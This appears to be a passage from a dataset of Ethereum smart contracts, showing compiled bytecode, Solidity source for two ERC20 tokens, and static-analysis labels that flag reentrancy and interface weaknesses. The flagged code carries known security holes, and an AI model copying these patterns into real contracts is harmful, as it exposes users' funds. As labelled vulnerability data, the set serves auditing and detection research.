90919063ffffffff16565b905061259381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125f08260085461247690919063ffffffff16565b60088190555061260b816009546124c090919063ffffffff16565b6009819055505050565b6000806000806126416064612633888a611d1c90919063ffffffff16565b611d9790919063ffffffff16565b9050600061266b606461265d888b611d1c90919063ffffffff16565b611d9790919063ffffffff16565b9050600061269482612686858c61247690919063ffffffff16565b61247690919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c48589611d1c90919063ffffffff16565b905060006126db8689611d1c90919063ffffffff16565b905060006126f28789611d1c90919063ffffffff16565b9050600061271b8261270d858761247690919063ffffffff16565b61247690919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127476127428461308d565b613068565b9050808382526020820190508285602086028201111561276a576127696133f8565b5b60005b8581101561279a578161278088826127a4565b84526020840193506020830192505060018101905061276d565b5050509392505050565b6000813590506127b38161370e565b92915050565b6000815190506127c88161370e565b92915050565b600082601f8301126127e3576127e26133f3565b5b81356127f3848260208601612734565b91505092915050565b60008135905061280b81613725565b92915050565b60008151905061282081613725565b92915050565b6000813590506128358161373c565b92915050565b60008151905061284a8161373c565b92915050565b60006020828403121561286657612865613402565b5b6000612874848285016127a4565b91505092915050565b60006020828403121561289357612892613402565b5b60006128a1848285016127b9565b91505092915050565b600080604083850312156128c1576128c0613402565b5b60006128cf858286016127a4565b92505060206128e0858286016127a4565b9150509250929050565b60008060006060848603121561290357612902613402565b5b6000612911868287016127a4565b9350506020612922868287016127a4565b925050604061293386828701612826565b9150509250925092565b6000806040838503121561295457612953613402565b5b6000612962858286016127a4565b925050602061297385828601612826565b9150509250929050565b60006020828403121561299357612992613402565b5b600082013567ffffffffffffffff8111156129b1576129b06133fd565b5b6129bd848285016127ce565b91505092915050565b6000602082840312156129dc576129db613402565b5b60006129ea848285016127fc565b91505092915050565b600060208284031215612a0957612a08613402565b5b6000612a1784828501612811565b91505092915050565b600060208284031215612a3657612a35613402565b5b6000612a4484828501612826565b91505092915050565b600080600060608486031215612a6657612a65613402565b5b6000612a748682870161283b565b9350506020612a858682870161283b565b9250506040612a968682870161283b565b9150509250925092565b6000612aac8383612ab8565b60208301905092915050565b612ac181613223565b82525050565b612ad081613223565b82525050565b6000612ae1826130c9565b612aeb81856130ec565b9350612af6836130b9565b8060005b83811015612b27578151612b0e8882612aa0565b9750612b19836130df565b925050600181019050612afa565b5085935050505092915050565b612b3d81613235565b82525050565b612b4c81613278565b82525050565b6000612b5d826130d4565b612b6781856130fd565b9350612b7781856020860161328a565b612b8081613407565b840191505092915050565b6000612b986023836130fd565b9150612ba382613418565b604082019050919050565b6000612bbb6019836130fd565b9150612bc682613467565b602082019050919050565b6000612bde602a836130fd565b9150612be982613490565b604082019050919050565b6000612c016022836130fd565b9150612c0c826134df565b604082019050919050565b6000612c24601b836130fd565b9150612c2f8261352e565b602082019050919050565b6000612c476021836130fd565b9150612c5282613557565b604082019050919050565b6000612c6a6020836130fd565b9150612c75826135a6565b602082019050919050565b6000612c8d6029836130fd565b9150612c98826135cf565b604082019050919050565b6000612cb06025836130fd565b9150612cbb8261361e565b604082019050919050565b6000612cd3601a836130fd565b9150612cde8261366d565b602082019050919050565b6000612cf66024836130fd565b9150612d0182613696565b604082019050919050565b6000612d196017836130fd565b9150612d24826136e5565b602082019050919050565b612d3881613261565b82525050565b612d478161326b565b82525050565b6000602082019050612d626000830184612ac7565b92915050565b6000604082019050612d7d6000830185612ac7565b612d8a6020830184612ac7565b9392505050565b6000604082019050612da66000830185612ac7565b612db36020830184612d2f565b9392505050565b600060c082019050612dcf6000830189612ac7565b612ddc6020830188612d2f565b612de96040830187612b43565b612df66060830186612b43565b612e036080830185612ac7565b612e1060a0830184612d2f565b979650505050505050565b6000602082019050612e306000830184612b34565b92915050565b60006020820190508181036000830152612e508184612b52565b905092915050565b60006020820190508181036000830152612e7181612b8b565b9050919050565b60006020820190508181036000830152612e9181612bae565b9050919050565b60006020820190508181036000830152612eb181612bd1565b9050919050565b60006020820190508181036000830152612ed181612bf4565b9050919050565b60006020820190508181036000830152612ef181612c17565b9050919050565b60006020820190508181036000830152612f1181612c3a565b9050919050565b60006020820190508181036000830152612f3181612c5d565b9050919050565b60006020820190508181036000830152612f5181612c80565b9050919050565b60006020820190508181036000830152612f7181612ca3565b9050919050565b60006020820190508181036000830152612f9181612cc6565b9050919050565b60006020820190508181036000830152612fb181612ce9565b9050919050565b60006020820190508181036000830152612fd181612d0c565b9050919050565b6000602082019050612fed6000830184612d2f565b92915050565b600060a0820190506130086000830188612d2f565b6130156020830187612b43565b81810360408301526130278186612ad6565b90506130366060830185612ac7565b6130436080830184612d2f565b9695505050505050565b60006020820190506130626000830184612d3e565b92915050565b6000613072613083565b905061307e82826132bd565b919050565b6000604051905090565b600067ffffffffffffffff8211156130a8576130a76133c4565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061311982613261565b915061312483613261565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561315957613158613337565b5b828201905092915050565b600061316f82613261565b915061317a83613261565b92508261318a57613189613366565b5b828204905092915050565b60006131a082613261565b91506131ab83613261565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131e4576131e3613337565b5b828202905092915050565b60006131fa82613261565b915061320583613261565b92508282101561321857613217613337565b5b828203905092915050565b600061322e82613241565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061328382613261565b9050919050565b60005b838110156132a857808201518184015260208101905061328d565b838111156132b7576000848401525b50505050565b6132c682613407565b810181811067ffffffffffffffff821117156132e5576132e46133c4565b5b80604052505050565b60006132f982613261565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561332c5761332b613337565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61371781613223565b811461372257600080fd5b50565b61372e81613235565b811461373957600080fd5b50565b61374581613261565b811461375057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220345fef42ed9478558e72287d83afbf66c70b3e1b41686987339cdd524a1bf1d964736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,008
0x7b7024d6a0810455236190b0915502f9830c7054
pragma solidity ^0.4.23; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract UTBTokenTest is owned, TokenERC20 { mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function UTBTokenTest( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } // The UTBT can be bought or sold. uint256 public sellPrice; uint256 public buyPrice; /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It&#39;s important to do this last to avoid recursion attacks } }
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305fefda71461012d57806306fdde0314610164578063095ea7b3146101f457806318160ddd1461025957806323b872dd14610284578063313ce5671461030957806342966c681461033a5780634b7503341461037f57806370a08231146103aa57806379c650681461040157806379cc67901461044e5780638620410b146104b35780638da5cb5b146104de57806395d89b4114610535578063a6f2ae3a146105c5578063a9059cbb146105cf578063b414d4b61461061c578063cae9ca5114610677578063dd62ed3e14610722578063e4849b3214610799578063e724529c146107c6578063f2fde38b14610815575b600080fd5b34801561013957600080fd5b506101626004803603810190808035906020019092919080359060200190929190505050610858565b005b34801561017057600080fd5b506101796108c5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b957808201518184015260208101905061019e565b50505050905090810190601f1680156101e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610963565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e6109f0565b6040518082815260200191505060405180910390f35b34801561029057600080fd5b506102ef600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109f6565b604051808215151515815260200191505060405180910390f35b34801561031557600080fd5b5061031e610b23565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034657600080fd5b5061036560048036038101908080359060200190929190505050610b36565b604051808215151515815260200191505060405180910390f35b34801561038b57600080fd5b50610394610c3a565b6040518082815260200191505060405180910390f35b3480156103b657600080fd5b506103eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c40565b6040518082815260200191505060405180910390f35b34801561040d57600080fd5b5061044c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c58565b005b34801561045a57600080fd5b50610499600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dc9565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104c8610fe3565b6040518082815260200191505060405180910390f35b3480156104ea57600080fd5b506104f3610fe9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054157600080fd5b5061054a61100e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561058a57808201518184015260208101905061056f565b50505050905090810190601f1680156105b75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105cd6110ac565b005b3480156105db57600080fd5b5061061a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110cc565b005b34801561062857600080fd5b5061065d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110db565b604051808215151515815260200191505060405180910390f35b34801561068357600080fd5b50610708600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506110fb565b604051808215151515815260200191505060405180910390f35b34801561072e57600080fd5b50610783600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061127e565b6040518082815260200191505060405180910390f35b3480156107a557600080fd5b506107c4600480360381019080803590602001909291905050506112a3565b005b3480156107d257600080fd5b50610813600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611326565b005b34801561082157600080fd5b50610856600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061144b565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108b357600080fd5b81600881905550806009819055505050565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561095b5780601f106109305761010080835404028352916020019161095b565b820191906000526020600020905b81548152906001019060200180831161093e57829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a8357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610b188484846114e9565b600190509392505050565b600360009054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610b8657600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60085481565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cb357600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806004600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610e1957600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ea457600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110a45780601f10611079576101008083540402835291602001916110a4565b820191906000526020600020905b81548152906001019060200180831161108757829003601f168201915b505050505081565b6000600954348115156110bb57fe5b0490506110c93033836114e9565b50565b6110d73383836114e9565b5050565b60076020528060005260406000206000915054906101000a900460ff1681565b60008084905061110b8585610963565b15611275578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112055780820151818401526020810190506111ea565b50505050905090810190601f1680156112325780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561125457600080fd5b505af1158015611268573d6000803e3d6000fd5b5050505060019150611276565b5b509392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b60085481023073ffffffffffffffffffffffffffffffffffffffff1631101515156112cd57600080fd5b6112d83330836114e9565b3373ffffffffffffffffffffffffffffffffffffffff166108fc60085483029081150290604051600060405180830381858888f19350505050158015611322573d6000803e3d6000fd5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561138157600080fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114a657600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561150f57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561155d57600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156115eb57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561164457600080fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561169d57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505600a165627a7a723058202622b8aba88241dafb133a3ba7e45afea8e542455f5c82297212148f45c8b3380029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
3,009
0x3a65a46dc55acae3126d4254d19715bacb89d892
/** *Submitted for verification at Etherscan.io on 2022-04-08 */ /** Finish the ritual to join the brotherhood. https://t.me/ancientorderportal */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract AncientToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ANCIENT ORDER";// string private constant _symbol = "ANCIENT";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 8;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 16;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x30712594000aF75B53a4bD3bf03d7344fcc3d9C1);// address payable private _marketingAddress = payable(0x0AF6770eCAA26a5761B37E0b3D4644e98f889222);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 25000000000 * 10**9; // uint256 public _maxWalletSize = 60000000000 * 10**9; // uint256 public _swapTokensAtAmount = 100000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { 